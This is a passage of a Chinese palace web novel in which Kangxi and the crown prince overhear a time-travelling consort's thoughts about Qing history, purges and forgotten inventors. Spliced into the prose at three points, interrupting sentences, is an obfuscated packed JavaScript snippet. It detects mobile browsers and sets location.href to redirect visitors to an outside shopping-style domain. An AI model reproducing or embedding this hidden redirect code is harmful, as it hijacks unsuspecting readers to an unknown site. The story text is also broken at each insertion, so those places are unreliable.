“有毒吧,叫我过来干嘛,又不说话,待会儿不会又莫名其妙地对我发脾气吧?” “哎……真不如当他儿子呢,说起来除了老大、老二、老三、老八、老九、老十四被圈,后面的都挺好啊,尤其是十二、十六、二十三都活到七十多,比康熙活得还久呢,都活到了乾隆年了哎。” “这可都是渣渣龙的叔叔辈,过得应该都蛮好的。” 康熙听着她这一句接着一句地爆料,手中的茶盏差点没拿稳。 无论是几个儿子被圈禁,还是那句涉及他寿命的话,都足以让他下意识屏住呼吸。 “说起来……康熙活到什么时候来着?”就当齐满月的心声即将说到他此时最关注的话题时,宫人突然进来汇报。 “太子殿下求见。” “……有事吗?”康熙沉默了一瞬,难掩声音中的冷意低声问道。 之前每一次太子都会第一时间召进来,这是第一次康熙问了问题,让宫人不由一愣,差点儿没反应过来。 “请皇上恕罪。”小太监压低着头,浑身微微颤抖。 康熙第一次理解了那个在齐满月心声中圈禁儿子的人,他竟然对才八岁的太子有了怀疑和警惕。 这样想着,他余光扫向旁边低眉顺眼的齐满月,心中莫名起了念头,这个女人恐怕又要说些什么他不想听的话了。 “咦?康熙竟然对太子还有这种非儿子爸爸贴贴的情况?”果然齐满月心声直接响起。 为了防止齐满月发现异常,康熙召了太子进来。 他压下了心中那一抹异常,那是他无法反驳的对太子产生的试探和戒备。 “给汗阿玛请安。”胤礽不发脾气时,看起来就是一个颇有礼节的翩翩少年人。 他侧过身对站在一旁的齐满月打了个千儿:“这位可是永寿宫齐佳贵人?” “奴婢给太子殿下请安,太子安。”齐满月赶忙侧身回了半礼。 虽然具云秀教导的,身为贵人的她在私下对太子不必如此自谦,但齐满月总觉得礼多人不怪,毕竟前两天康熙还莫名其妙发脾气呢,听说太子一向骄纵,万一随了爹呢。 这番话自然透过她的心声传到了两父子耳中。 两父子尴尬地相视一眼,康熙才开口说道:“行了,有事吗?” 胤礽愣了下,似乎是没想到康熙对他这样冷淡,赶忙又说道:“儿子有门课业不懂,想来汗阿玛这里求教。” “皇上……”齐满月听着父子俩有正经事,赶忙行礼打算离开。 可康熙却一抬手直接拦下:“行了,你是长辈,也听着吧。” 胤礽自然明白康熙的意思,便若有其事地拿出课业递到康熙面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543751|204029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前。 康熙翻看着纸张一点点给他解答。 这场景看起来十分父慈子孝,不过实际上一个心神不在课业上,一个纯是胡扯教学。 “哎……这么好的父子,怎么就闹成那样呢?” “说到底都是康熙活得太久了!” 不承想对方蹦出来的第一句话直接剑指康熙寿数,吓得胤礽脸都白了几分。 他偷偷看了皇父一眼,见他面色如常,不禁暗自感慨不愧是汗阿玛。 “古今天下岂有四十余年之太子乎?啧啧~” 这一句再抛出来,太子连头都不敢抬了,只能低着头沉默地看着课业,仿佛沉浸其中不可自拔。 康熙眼神在他身上不断扫过,直至再一次被齐满月的心声打断。 “可惜啊,他不知道他要是知道了在三百多年后,西方世界出了个当了七十年的太子哈哈哈哈哈哈,不知道他心里好受一点不。” “不!一点都不!我都不一定能活七十年!”胤礽再次压低了头,满心腹诽道。 “朕都没活到七十,他当了七十年太子??!难怪……”康熙的眼神则再次看向胤礽。 “其实也不怪太子,爹嘛是个好爹,就是控制欲强,还活得久,自己孙子都要有了,结果老爹还活着,下面的弟弟们还虎视眈眈,帮助自己的大臣还不断拖后腿,甚至到最后连爹都不想着自己了。” 听着这话,胤礽放在桌下的手紧握住,指甲甚至直接插入掌心,疼痛将他的大脑从震惊中找回了几分理智。 “汗阿玛……”到底才八岁的他,即便听到了自己的未来,即便如此慌张,可还是想下意识去依靠自己一直信任的人。 康熙也被心尖尖的太子结局所吓到,他呆愣着,直到听到太子的声音才回过神来,他眼神复杂地看着儿子,又看向旁边跟着发呆的女人。 他不愿相信那是自己会做出来的事情,可有个声音在他的心里告诉他,如果他真的活了那么久,如果他真的生了那么多孩子,那么齐佳氏所说的未尝不是未来。 “他想让老大给老二当磨刀石,想要让索额图和明珠对立以免无法控制朝堂,可惜……人算不敌天算,人心最难把控。” “最后太子二废二立被圈禁,老大被逼到自找死路说要帮皇父亲手杀太子圈禁,老三……” “老三算了,脑子跟不够一样。” “老四……雍正帝倒是个好皇帝,就是可惜了累死在案牍上,选的继承人真的是……无话可说!” “老八、老九、老十、十四的八爷党最后也落得被圈禁,甚至还被老四起了个特别难听的名字。” “要不是……” 康熙和胤礽早已没有心神继续听齐满月心声里那些阿哥的结局,全部的心神都在齐满月那句“老四,雍正是个好皇帝”上。 他们是怎么都没想到如今才四岁的老四竟然会成为继承人,更没想到对方竟然是累死的。 想到这里父子俩同时地念头竟然不是怎么是他,反而同时闪过一个念头:“这孩子是不是脑子不够用?当皇帝能把自己累死??看来以后要仔细盯着他锻炼了……” 当然之后齐满月的一个心声告诉他们,有些人的身体素质是上天注定的,人力无法更改,毕竟四力半啊…… 11. 历史的遗憾 “说起来在女人和孩子上,老康和他孙子乾隆还是比较像的,对后宫妃嫔都称得上端水大师了,不过老康需要熬资历凭家世,倒不如老乾还好些,至于雍正……随便吧,总觉得更像是个演戏高手。” “哎……我看乾隆为主角的小说更多啊,要是穿越到那个时候还能抱大腿,这个时候抱谁?德妃?一个传统老太太宠溺小儿子?不行不行,皇贵妃……?也不行,早死啊……” 齐满月没在意爷俩的震惊,只一心沉浸在自己世界里。 这对地位最高的天家父子面面相觑后,默契地沉默听着旁边的心声一点点传来。 “老康这个狗皇帝脾气上来嘴是真毒啊,先骂掌中宝生而克母,又骂八儿子辛者库贱婢所生,简直了,要不是看他对后妃还算是个人,真的骂一万次都不为过……” 胤礽别的没听到,只那一句“生而克母”落到了他的心中,他没想到有一日看似爱着自己的汗阿玛会对自己说出这样的话,杀他尚不如这句诛心之话更让他想死了。 也是这一瞬,低头看着课业的胤礽内心里骤然起了一丝杀意,那是他曾经想都不敢想的对君父的杀意…… 康熙并没有注意到胤礽的反应,他被齐满月心声里的自己吓到了,他怎会对自己疼爱的太子说出这样的话……这样刻薄到可以逼死这个孩子的话来? “不过与其骂太子,不如骂他自己,第一个皇后22岁去世,第二个皇后20岁去世,第三个皇后虽然只当了一天,但应该也不过三十岁就去世了,这样说来反而是他克妻了,而且谁让他睡了人家的,人家生了他的崽还骂人家,呸!狗男人!” 胤礽已经吓得低垂着头死活不肯抬起来了,毕竟他能想到齐佳贵人是后世人胆子大,但没想到胆子大到这个地步,此时对皇上的那一点点怨恨也已经烟消云散,只恨不得马上消失。 康熙下意识伸出手捂住胸口,发妻去世确实是他心中的一个痛,他更想不到连表妹竟也未活到三十岁,想到这两年佟佳氏身体确实不大好,一时间恨不得马上叫御医给她诊治。 只是看着齐佳氏茫然的表情,那即将可能暴露的念头到底占据了上风,让他暂且将一切压下。 他抬头看着太子,眼眸眯了眯,才开口说道:“如今你也大了,平日里可经常来这边听政,朕也该教教你。” “屁啦,现在是掌中宝,等他年纪大了,儿子也大了,对皇位的占有欲达到了顶峰,现在太子的一切都是罪名好嘛。” 胤礽刚想点头应下,就听到了齐佳氏的心声骤然响起,点头的动作一顿,好一会儿后才似反应过来僵硬地点了下头。 康熙满意地颔首后才突然接着开口:“南怀仁等异族可以学习他们的东西,但也要常怀警惕之心知道吗?” “对!这才是句人话!南怀仁那狗东西,跟康熙吹牛皮说造出大炮,结果用了一年狗屎都没出来,人家戴梓八天就搞出来了!” “砰!”康熙突然起身的动作把齐满月吓了一跳,心声也被打断。 胤礽下意识将不满的眼神投向汗阿玛,可不等康熙反应,就吓得赶忙收回眼神。 “没事儿,朕突然被胤礽的课业气到了。”康熙回过神来,看着大殿里除了太子外,皆已跪在地上,连刚刚在心声里怒骂他的齐佳氏亦是如此。 看着对方表面上一副怯弱的模样,康熙宛如一口气憋在心底是怎么吐都吐不出,只能瞪了眼胤礽后,才摆了摆手:“行了,起来吧。” “吓死宝宝!狗皇帝啊,果真脾气阴晴不定,还骂雍正,这不随他随得铁铁的吗?!” 这句话一抛出来,康熙反应暂且不提,胤礽是恨不得举手赞成,再送上一些珍宝以示奖励,希望对方多说、狠狠说。 只是偷偷看着汗阿玛脸色都有些发青了,只能暗自压下满心的感慨,带着些许遗憾做出一副忏悔的模样:“是儿子的错。” “那还不滚回去好好继续学?”康熙想着齐佳氏心声里一直口不择言,后续虽然是重要的事情,但也有些不想让太子知道的,便打算借此让太子离开。 只是太子也不知道是被这一天齐满月的心声洗礼后胆大了,还是破罐子破摔了,他轻咳一声:“汗阿玛,儿子觉得还是您帮着儿子一点点解释的好,儿子实在愚钝。” 康熙何等人也,哪儿看不出他这点小心思,冷哼一声后,还是沉默坐下,指着课业说道:“看这里!” “呼……警报解除!”齐满月小心捏了捏帕子,在心里松了口气,“伺候这位真不舒服,想回我的空调房,想玩我的游戏,啊啊啊啊,皇帝这个发型是真的丑啊,太子这么可爱的奶包子都看起来丑了好多!” 胤礽没忍住摸了摸自己脑袋后的金钱鼠尾,又看了看汗阿玛,直到收到对方警告的眼神后才赶忙低头,暗自腹诽:“确实不好看……” “还是我汉人王朝的发型好看啊,剃发易服,提出这个的多尔衮被撅棺鞭尸也是活该,哎要是我也有什么系统能够改变历史,倒不如去明朝直接灭了女真族,不!” “我要告诉那对老夫妇不要救他们的祖先!” “其实与其回到明朝,不如直接回到秦朝,带着始皇帝统一全球哈哈哈哈哈哈哈,啊,咳咳咳……” 齐满月做梦正开心,结果被自己的口水呛到,抬头间余光扫到康熙有些难看的脸色,赶忙下跪磕头。 “行了,念你年幼,又是初次奉驾,此番便不责罚你了。”康熙不耐地摆了摆手,他还打算听戴梓的事情呢,哪儿有功夫罚对方,别说对方骂他们大清,便是指着鼻子骂他祖宗,他也没办法,毕竟系统绝不准许他伤害拯救员。 “呼……以后再不能这样了,我要谨慎谨慎再谨慎!”齐满月在心中暗暗发誓,那边耳朵里就传来父子俩说起戴梓的事情。 “翰林院侍讲中有个戴梓,这人在火器上有些天赋,但为人略有些直愣,又因军功晋升,朕想着可否让他专司火器研发。” “汗阿玛英明,此人既有大才,儿子浅见,不若给他专司火器司,让他专心研究?”胤礽做出乖顺模样陪着康熙演戏。 “哇!可一定要成功!!!!”齐满月在旁边不住地在心里期盼着,这爷俩千万不要犯浑! “要是能把黄履庄给找出来就好了,那可是堪比爱迪生一样的发明家!!” 一个陌生的名字从齐满月的心声中传来,康熙父子俩面面相觑,他们能够听出来在齐满月的心里这位比武器天才戴梓更重要,一时间两人齐齐停下动作,只一心听着心声,唯恐错过了某个字眼。 “自行车啊!世界上最早的记录,比欧洲早了一个世纪!那可是一百年!光学显微镜、望远镜!探照灯甚至可以照亮数里!温度计、湿度计能够直接判定晴雨,哪一个不是能够改变历史和民生的!还有自动驱暑扇,自动跳舞的木鸟,会叫的机器狗!还有那本奇器图略!” 这一句句说的康熙父子俩一个比一个激动,他们都不是傻子,更不是无知的人,尤其是康熙本就擅长西学,此时知道自家有这样的宝贝,哪里不激动,谁曾想下一秒齐满月就给他们泼了一盆冷水。 “可惜了……只知道他现在二十六岁,而他二十八岁之后就销声灭迹了,他的所有发明原理,图纸都失传了……” “若是……若是这两个人才被重视,若是清朝不是走奴隶制的制度,如果……如果一切都被重视,是不是这片土地上那些悲剧将不会再发生……” “国破山河在,城春草木深……” 谁都没想到齐满月吐出这样一个炸弹:一个如此被后世人重视、甚至被认为有了他就会改变历史的存在,竟然只剩下短短两年寿命。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543752|204029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个消息让康熙恨不得现在就找到黄履庄然后将其保护起来。 他刚想开口吩咐齐满月离开,好整理下今天听到的心声,今天的信息量实在太多了,他需要冷静,结果就听到了齐满月的心声再次响起。 “上天也曾眷顾过满清这个第二个在华夏大陆诞生的异族王朝吧……只是如元朝一样,满清不曾当自己是这片土地的主人,他们依旧怀着打谷草的想法奴役着这里,于是知识从人们的大脑中褪去,愚民政策达到顶峰。” “剃发易服,嘉定十日,扬州三屠……如果说血腥屠杀可以从时间中慢慢淡去,可剃发易服这种一看就不是汉人传承下来的习俗,何尝不是在天下的汉人心中插了一把永远不会被拔出的尖刀,每时每刻告诉着他们这片大地上有何等惨烈发生过,这群统治者是和我们不一样的……” “即便一代代满清皇帝崇拜汉学,可异族的服饰就是一遍遍无声的提醒啊……” 康熙未曾说出口的话怎么都无法再说出口,曾经齐满月心声里那一句句嫌金钱鼠尾丑,他尚且觉得她浅薄无知狂妄,可这段心声出来,他却无法从心底辩驳…… “上天赐予的那些珍宝们被无视,被放弃……戴梓、黄履庄也不过是其中两颗明珠而已,可时间长河中,满清这一段又何止这些明珠……” “孙云球,光学仪器天才,能制造七十多种光学仪器……” 康熙和胤礽刚刚被齐满月说得有些萎靡的精神不由大振。 “啊……已经去世了……” 不过转瞬间又被齐满月的心声打击到。 “徐朝俊,钟表专家!”谁承想又一个名字出现。 “啊……重孙子年间的啊。” “王贞仪!女天文学家!!!!” 爷俩再次精神振奋起来,结果…… “哦,孙子和重孙子时期的,爹估计都没出生……嗯,应该说爷爷还没出生吧哈哈哈哈。” “让我再想想……” 康熙和胤礽赶忙坐直身体,期盼着齐满月嘴里再吐出几个能用的人。 “啊……还有谁来着?” “王徵?这是明朝的啊,薄珏?好像也是明朝的……郑复光?孙子时期的……啧,没福气的家伙!” 齐满月偷偷瞪了一眼康熙的后背,又恐被人发现,赶忙低垂下头。 “说起来……好像有几个是康熙年的……” 康熙被齐满月这一出出弄得憋得难受的一口气,总算可以吐出来了。 “明安图?啊……康熙三十几年的,还没出生?梅瑴成……应该出生了,啊好像才一岁啊……果真是没福气的家伙!” “齐佳氏。”康熙这次是真没忍住。 “奴婢在。”齐满月赶忙跪下。 “回你的永寿宫去。”康熙咬着牙,装作平淡的模样吩咐道。 胤礽实在没忍住咧嘴偷笑了一下,在康熙没发现之前,赶忙又收回去。 齐满月是真没想明白又发生什么了,为什么她奉驾总是奇奇怪怪的,没听说其他妃嫔这样啊,而且她还蹭上御膳呢! 这个心声一传出,胤礽实在没忍住扑哧一笑。 康熙瞪了他一眼,才对梁九功吩咐道:“齐佳贵人奉驾有功,今日的御膳拨两道菜给她。” “谢主隆恩!”齐满月的声音中是难以掩饰的惊喜。 当然她的心声更惊喜:“感谢狗皇帝!” 康熙没想到都这样了还被对方骂一句狗皇帝,气得猛吸了几口气,回头瞪着状似无辜却满脸难掩笑意的胤礽:“还不带着你的课!业!滚回毓庆宫!” “儿子这就告退!”胤礽轻咳两声,拿起课业跑得比兔子都快。 直到大殿里除了宫人再无他人后,康熙才忍不住扯起嘴角,笑着怒骂了一句:“真是” 12. 改变的第一步 懋勤殿恢复了往日的沉静,康熙看着桌案上的折子怔愣了许久后才对一旁梁九功问道:“你说……朕对百姓如何?” 梁九功吓得赶忙跪在地上,这等涉及朝政的事情哪里是他这等阉人能讲的。 康熙见他这样不免有些无趣,摆摆手让他退下。 “百年屈辱……到底发生了什么?让齐佳氏如此念念不忘且能够让系统这样的神物出现在这里,只为了改变那段历史?” “戴梓……黄履庄……这样的人才合该为朕所用才是!” “来人!召高士奇!” 满清这艘即将走向破败的大船在这一刻,在康熙的命令下,走上了另一种未知。 高士奇本就是南书房近臣,听到康熙召见,便知道一定是机密要事,便紧赶慢赶,不过盏茶功夫就来到懋勤殿。 “朕听说有一位奇人名黄履庄,今年不过二十有六,却能够做各种机巧之物,有那可自行行走的车,还有自动跳舞的木鸟?你可知此人?” 高士奇被他问得一愣,赶忙跪在地上叩首:“臣……未曾听闻这等奇人。” 康熙并不意外,这位黄履庄既然在二十八岁就失去踪迹,那不为人所知也不算奇怪,只是他觉得既然对方有这样的天赋,又有作品流传到后世,想来应该会有些名气才是。 “去查吧。”他心下有些着急,但也知道这不是他着急就有用的,便摆手让高士奇退下。 懋勤殿发生的事情,很快就传入到了慈宁宫。 太皇太后犹豫着要不要召皇帝过来问问,旁边的苏麻喇姑就笑着劝说道:“主子何必着急,便是真得了什么要紧的事情,皇上怕也要先安排好才能来告知您啊。” 想到自己这个孙子,可谓是天生的帝王,太皇太后也不由松了口气:“也罢,既然他已经知道我和他都能听到心声,自然不会太瞒着我。” “就算瞒着怕也是那齐佳贵人心声里有些逾矩的,皇上怕是失了脸面自然不愿意和您说。” “他是我和你从小带到大的,有什么可失脸面的!”太皇太后忍不住笑着说道。 苏麻喇姑无奈摇了摇头:“到底是皇上,又不是小孩子了。” 太皇太后脸上闪过恍然:“是啦……时间过得真快,现在都康熙二十一年了……皇帝都二十八岁了……” “是啊……”苏麻喇姑看着太皇太后的白发,也忍不住叹了口气。 “对了,皇上可曾说了阿图的事情?” 看着太皇太后眼中难掩的急切,苏麻喇姑赶忙抓住她的手连连点头:“主子放心,当日皇上就派人赶去蒙古,明旨让淑慧长公主回京,在昨日也安排了内务府在京里给长公主建一个公主府。” “那就好……那就好……”太皇太后脸上带着无法抑制的笑意,“我此生共四子,如今便只余这一个了……” “主子……”苏麻喇姑轻轻将太皇太后的手放在自己的腿上,一只手在她的后背慢慢地摩挲着。 两个老人在这安静的慈宁宫主殿里齐齐沉浸进过去那些或欣喜或悲伤的回忆中…… 至于胤礽,他被齐满月的心声吓了一跳,他固然是因为这等奇异能力感到惊讶,更因为齐满月满心的大胆言语而害怕。 不过害怕之余,是某种不可言喻的激动,那是对皇权和父权长久压迫下的某种反抗,是他曾经从未想过的。 “或许……多气气汗阿玛,我就不会像那位一样了……”坐在毓庆宫的书房中,看着那乱七八糟的课业,他脑子里突然闪过一个大逆不道的想法。 “吓!”胤礽被自己的念头吓到,可随着喇嘛念经的声音不断传来,他越发觉得这或许并不是一个坏主意。 毕竟汗阿玛爱不爱他是其次,就像齐满月心声所说的,皇权之争本就残酷,他虽才八岁,却早已在师傅的教导下读了不少史书,那史书中对皇权之争的记载虽不过寥寥几笔,却能看出那中间的血腥残酷。 他不会对汗阿玛真的拿起屠刀,也无法想象自己会对汗阿玛动手,但是那句“生而克母”实在伤到他了。 齐满月那样的心声无疑是在汗阿玛那样的人心中不断插刀,既然如此,悄悄加一把火也可以不是吗? 阿哥所里的大阿哥对胤礽从懋勤殿回来一事并没有想太多,只觉得汗阿玛实在偏疼了这位太子,脑海中也想到了明珠对他的暗示。 皇贵妃自然也听到了消息,她倒没想太多,只是觉得需要让胤禛学会谨慎,至少能瞒多久瞒多久吧。 谁曾想当天晚上,皇上突然来到承乾宫,还带来了御医,这也让她心中起了新的涟漪。 “或许这位齐佳贵人比她想象中的更重要……” 齐满月丝毫不知道满宫里能够说得上的几个大佬对自己的关注,她轻咳一声咽下口水,等着云秀给自己布好菜。 “这两个就是皇上赏的?!”她不可置信地看着桌子上一盘子清拌豆腐,一盘子小饽饽。 云秀莫名地看了一眼食盒,茫然地点了点头:“是啊,这是内务府送来的,食盒上也有进上的签子。” 齐满月本以为会是她没吃过的什么精致大菜,却没想到是这两样,无奈叹了口气捏起一个饽饽。 “哎~这个饽饽是肉的哎!我喜欢!”她眼睛唰地一亮,连着捏了三个饽饽进嘴。 “小主喜欢,下次也让他们给您做肉饽饽。”云秀见状笑着将饽饽的位置往前挪了挪。 齐满月吃得非常满足,一口一个肉饽饽,再吃一点清爽的豆腐,喝一口爽口的羹汤。 “喵~”突然一只白猫不知道从哪里而来,跳到了永寿宫的城墙上。 “猫?哪儿来的?”齐满月愣了下,她可是标准的猫脑袋。 此时听到猫叫声,连吃饭都顾不得了,直接小跑到门口,看着宫人们正小心哄着猫下来。 这边宫人们还没将猫哄下,一个俏丽的女子带着宫人急忙忙就走来:“雪球儿!” 那女子在身后的宫人提醒下,赶忙又给齐满月打招呼:“惊扰了齐佳贵人,这是我的猫雪球儿。” 齐满月呆愣着回了个平礼,才从云秀的耳语中知道面前这位女子是成贵人戴佳氏。 “成贵人是去年十二月从成答应晋封贵人的,当时她还是启祥宫答应,后来启祥宫修缮,便搬到了宜妃娘娘的翊坤宫。”云秀细细将对方来历说了一通。 这会儿功夫那边已经将雪球儿哄了下来,成贵人抱着雪球儿回到了齐满月跟前:“齐佳妹妹实在对不住,我刚刚让宫人给雪球儿剪指甲,不小心让它跑到这里来。” “没事儿,雪球儿很可爱。”齐满月本就喜欢猫,如今看这只雪球儿乖巧漂亮只恨不得抱在怀里亲几口,哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543753|204029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里会生气。 见她喜欢,成贵人笑着说道:“我看齐佳贵人也是爱猫之人,若真喜欢可以去猫儿房挑只。” “好,多谢成贵人告知。”齐满月听后一心都放在猫上面,对成贵人并没有寒暄的意思。 成贵人自然也看出来了,却只当齐满月骄矜,毕竟对方入宫不过三四日,便被皇上召见两次,还得了太皇太后的青眼,有几分傲气也并非不理解,便笑着提出告辞。 “贵人何必对她如此客气?说来还是您先入宫呢?”成贵人带着宫人走在墙下,宫人回看了永寿宫一眼,有些不忿道,“该是她好命,其他小妃嫔哪个没有主位娘娘管着,偏她自居一宫。” “闭嘴!”成贵人狠瞪了对方一眼,才警告道,“若是再口不择言,你就自己去慎刑司。” 宫人赶忙噤声。 成贵人见状回看了一眼永寿宫,心下不禁叹了口气暗诽道:“她何尝不想立个前辈的威风,可这后宫不说高位娘娘,只说小嫔妃们,什么答应常在贵人,无非是谁得了盛宠谁更有地位罢了,如今……她用什么比齐佳氏?” 齐满月自然不知道成贵人主仆二人的事情,她仔细琢磨着猫的事,脑子里也闪过了另一个手工。 “小主想要什么猫?”云秀早已从她的眼神中看出她喜欢猫,也不意外她会着急养猫。 “什么颜色都行,你瞧着选一只,要毛多、爱掉毛的。” 云秀愣了一瞬,她只听过妃嫔们喜欢养不掉毛的猫,头一次听说要掉毛的,不过齐佳氏这几日稀奇古怪的事情做多了,她也有点习惯了,便也没多说。 猫儿房的人也惊讶她的要求,但也没多问,只抱了一只明显毛更厚的奶猫过来。 “行,就这只吧。”云秀仔细掂量了一下,才将猫带回到永寿宫。 看着不过自己一只手大的猫崽,齐满月不由一愣。 她本来打算是收集猫毛,做个猫毛毛毡杯垫,可如今这巴掌大的猫也不知道什么时候能提供足够的猫毛。 “呃……算了养着吧,你们记得收集它的毛。”她无奈叹了口气,仔细交代了云秀后,就打了个哈欠,打算去贵妃榻上眯一会儿。 宫内尚且称得上平和,宫外的高士奇却发了愁。 这天下之大,他到哪里找皇上指名要的人啊……尤其是一个只知道名字和能力的人。 “这样的奇人若是传出名声来,怕早已名满天下了,这可从哪里下手……” 他正发愁呢,旁边的下属抱着资料走来。 “大人为何事发愁?为何让下官送来这些资料?”开口的是跟他最久的下属,对他说话也没有那么地顾忌。 高士奇叹了口气,将皇上说的事情简单说了句:“你说这黄履庄到底是怎么冒出来的,怎么就被皇上知道了呢?” “黄履庄?自行车?”下属愣了一下,总觉得这个名字有些熟悉。 “怎么?你听过?”高士奇对跟着自己最久的下属可谓是非常了解,不过听他的语气便猜出一二。 “属下觉得有些熟悉。”下属蹙眉应道。 “快想!想出来我为你在皇上面前请功!”高士奇激动地直接走到他面前,满脸急切催道。 “在想了,在想了……”下属被他催得,只能不住地在房间里徘徊,想着这个名字到底在哪里听过。 13. 变革的启蒙 “喵~”齐满月还没睡醒就感觉身上毛茸茸的,她吓得猛地坐起身,才发现是那只刚抱回来的奶猫。 “呼……”她拍了拍怦怦直跳的心,才对已经走来的云秀摆了摆手,“没事儿,被猫球吓了一跳。” 云秀赶忙上前打算将猫球抱走,齐满月却摆了摆手:“算了,我抱着吧。” 齐满月在云秀等人的帮助下重新梳洗了一番后,才抱起猫猫深吸了一口气:“啊……舒服。” 她醒来时已经到了晚上,云月直接拎着食盒进来,将晚点摆了一桌。 “怎么有那么多?我份例没那么多吧?”齐满月坐到桌子前一脸懵。 云月一边给她将点心一一摆在桌子上,一边笑着解释道:“是御茶膳房送来的,说是皇上特意吩咐过的。” “御茶膳房?怎么不是内务府送来的?”齐满月愣了下,好奇问道。 云秀在旁听到,轻笑说道:“本就是御茶膳房送的,那边是专门负责皇上御膳的,只要是皇上吩咐赏赐的膳食皆是出自御茶膳房。” “咦?中午那个不是内务府吗?”齐满月捏了个枣泥饽饽正美美地咬了一口。 “听说是御茶膳房忙不过来,正好内务府往各宫送东西,就顺道捎过来了,这才贴了内务府的条子。”云秀将她最爱的肉馅饽饽往前挪了挪。 满清宫里一日只有两次正餐,一次是早上,一次是中午,而中午这顿饭也叫做晚餐,至于现在她吃的是晚点,没有饭菜只有点心,这也是齐满月非常不习惯的地方。 虽然齐佳府最初也是如此,可自从她恢复记忆后,阿玛额娘就随着她的意一日三餐了,之前想着嫁到别家自己当家做主也不是不能顺着自己的意,谁曾想进了宫,只能听别人的。 想到这里她不由叹了口气,顺手又捏了一块肉馅饽饽,吃着饽饽她脑海里瞬间想到康熙和自己在懋勤殿说的那些话,不知道为什么突然有那么一丢丢心虚:“中午说的是不是有点过了?也不能每次都骂他狗皇帝吧?” 琢磨了两下后,她又忍不住想:“可是只有几道菜就把我拉拢了,我也太廉价了吧?” 随着几口饽饽咽下去,齐满月总算哄好了自己:“算了,反正在心里骂他也听不到~” 康熙那边丝毫不知道,自己竟然差点儿用几道菜就收买了这个内心里不断骂自己的女人,他现在只满心复杂地看着跪在眼前的高士奇和他的下属何焯。 “你们是说那黄履庄在三年前就带着自行车来过京城?” 跪在地上的两人无法从康熙的声音中察觉出他到底是开心还是生气,但却莫名地感觉到一股冷意顺着膝盖,手掌一点点地向上蔓延。 他们无法确定是因为皇上的圣威而感觉到恐惧,还是因为自己的胆怯而产生的幻觉,只能跪在地上沉默着。 “能确定是哪里人吗?” “扬州人。”何焯赶忙回道。 “高士奇,你去安排,朕希望能尽快见到此人。” “臣遵旨!”高士奇带着何焯赶忙下跪领命,随后一点都不敢耽搁,赶忙离宫,让人将黄履庄好生请回京。 “这样的人才明明都来过京城,却被偏偏错过……上天真的恩赐大清吗?” 康熙往后靠在御座上,看向对面的墙壁,许久后才叹了口气:“还是说……像你说的一样,那刺进汉人心口的刀,在不断地让汉人诅咒大清,诅咒着上天也不再恩赐大清……?” “皇上,慈宁宫……” 康熙坐在孝庄面前,沉默了许久。 孝庄从他的沉默中隐约感觉到了些许什么,犹豫着开口问道:“可是齐佳氏……说了什么?” 康熙再次沉默,就在孝庄叹了口气打算将这个话题过掉时,他突然开口:“额涅玛玛,你说剃发易服真的对吗?” “……你说什么?”孝庄愣了一下,一时间没反应过来。 康熙叹了口气,将今天听到的一一告诉了孝庄。 孝庄怔愣着许久后,才苦笑着摇了摇头:“这……可真是……一个大难题啊……” “额涅玛玛,您说如果朕……废除了剃发易服……” “不可!”孝庄直接站起来,脸上是难掩的愤怒,“剃发易服一则是满族立足之本,二则也是分清顺逆之别。” “且不说这些,只说你今天废除了剃发易服,焉知明日那些汉人大臣会不会身穿广袖大衫登入朝堂,后日就可要求我们满人遵汉俗?到那时,先祖所创国语骑射可还在?满洲本色若失,我们又如何以异族身份坐稳江山?” “你别忘记,蒙古他们也是剃发,你若废除将他们置于何地?现在还不曾将汉人彻底镇压臣服我们,难不成你还要后院着火不曾?” 孝庄这连珠炮似的追问,直接砸向康熙。 康熙张了张嘴,到底没开口反驳,只站起身恭敬弯了腰:“是孙儿糊涂,额涅玛玛切莫气坏了身体。” 孝庄脸色依旧有些阴沉,她冷冷扫向慈宁宫外,看着永寿宫的方向:“或许她能够给我们带来变化和奇迹,但你绝不能完全被她牵着鼻子走,要知道她虽然是我们满族的血脉,可骨子里灵魂里是纯正的汉人!” “是,孙儿谨记。”康熙再次弯腰行礼。 苏麻喇姑见状赶忙上前扶住孝庄:“好了主子,您消消气,皇上如今不是小孩子了,他知道自己做什么,您呀就安心吧。” 孝庄被她搀扶着坐回到罗汉床上,她深吸了口气才看着康熙说道:“你汗阿玛当日就是因为亲近汉臣,惹得满蒙大臣不悦,闹出了多大的事端你又不是不知道。” “若不是……”她看着康熙沉默着的面无表情的脸,那句若不是他早死的话怎么都说不出口。 眼神再次投向永寿宫:“说起来,当日你汗阿玛非要纳进宫的恪妃石氏不就住在永寿宫,我看这永寿宫风水实在不佳,很不适合汉人女子居住。” 